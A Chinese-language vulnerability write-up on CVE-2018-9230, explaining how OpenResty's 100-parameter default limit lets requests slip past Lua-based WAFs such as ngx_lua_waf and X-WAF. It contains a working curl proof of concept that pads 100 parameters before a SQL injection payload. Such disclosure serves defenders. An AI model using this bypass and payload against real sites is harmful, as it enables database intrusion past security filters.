打破基于OpenResty的WEB安全防护(CVE-2018-9230)

阅读量    110929 | 评论 2   稿费 400

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

0x00 前言

​ OpenResty® 是一个基于 Nginx 与 Lua 的高性能 Web 平台,其内部集成了大量精良的 Lua 库、第三方模块以及大多数的依赖项。

OpenResty官网:https://openresty.org
漏洞编号:CVE-2018-9230
漏洞简介:OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args函数进行uri参数获取,忽略参数溢出的情况,允许远程攻击者绕过基于OpenResty的安全防护,影响多款开源WAF。
影响版本:OpenResty全版本

 

0x01 环境搭建

运行环境:CentOS6
源码版本:https://openresty.org/download/openresty-1.13.6.1.tar.gz (官网最新版)

 

0x02 漏洞详情

A、uri参数获取

首先看一下官方 API 文档,获取一个 uri 有两个方法:ngx.req.get_uri_args、ngx.req.get_post_args,二者主要的区别是参数来源有区别,ngx.req.get_uri_args获取 uri 请求参数,ngx.req.get_post_args获取来自 post 请求内容。

测试用例:
`server {
listen 80;
server_name localhost;

location /test {
content_by_lua_block {
local arg = ngx.req.get_uri_args()
for k,v in pairs(arg) do
ngx.say(“[GET ] key:”, k, “ v:”, v)
end
ngx.req.read_body()
local arg = ngx.req.get_post_args()
for k,v in pairs(arg) do
ngx.say(“[POST] key:”, k, “ v:”, v)
end
}
}
}
`
输出测试:

 

B、参数大小写

当提交同一参数id,根据接收参数的顺序进行排序,
可是当参数id,进行大小写变换,如变形为Id、iD、ID,则会被当做不同的参数。

这里,介绍参数大小写,主要用于进一步构造和理解测试用例。

 

C、参数溢出

如果当我们不段填充参数,会发生什么情况呢,为此我构造了一个方便用于展示的测试案例,a0-a9,10*10,共100参数,然后第101个参数添加SQL注入 Payload,我们来看看会发生什么?

测试用例:
curl '127.0.0.1/test?
a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&
a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&
a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&
a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&
a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&
a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&
a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&
a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&
a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&
a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&
id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata

输出结果:

可以看到,使用ngx.req.get_uri_args获取uri 请求参数,只获取前100个参数,第101个参数并没有获取到。继续构造一个POST请求,来看一下:

使用ngx.req.get_post_args 获取的post请求内容,也同样只获取前100个参数。

检查这两个函数的文档,出于安全原因默认的限制是100,它们接受一个可选参数,最多可以告诉它应该解析多少GET / POST参数。但只要攻击者构造的参数超过限制数就可以轻易绕过基于OpenResty的安全防护,这就存在一个uri参数溢出的问题。

综上,通过ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,当提交的参数超过限制数(默认限制100或可选参数限制),uri参数溢出,无法获取到限制数以后的参数值,更无法对攻击者构造的参数进行有效安全检测,从而绕过基于OpenResty的WEB安全防护。

 

0x03 影响产品

基于OpenResty构造的WEB安全防护,大多数使用ngx.req.get_uri_args、ngx.req.get_post_args获取uri参数,即默认限制100,并没有考虑参数溢出的情况,攻击者可构造超过限制数的参数,轻易的绕过安全防护。
基于OpenResty的开源WAF如:ngx_lua_waf、X-WAF、Openstar等,均受影响。

A、ngx_lua_waf

ngx_lua_waf是一个基于lua-nginx-module(openresty)的web应用防火墙
github源码:https://github.com/loveshell/ngx_lua_waf
拦截效果图:

利用参数溢出Bypass:

 

B、X-WAF

X-WAF是一款适用中、小企业的云WAF系统,让中、小企业也可以非常方便地拥有自己的免费云WAF。
官网:https://waf.xsec.io
github源码:https://github.com/xsec-lab/x-waf
拦截效果图:

利用参数溢出Bypass:

 

参考链接

https://github.com/openresty/openresty/issues/358
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9230
http://wiki.jikexueyuan.com/project/openresty/openresty/get_url_param.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多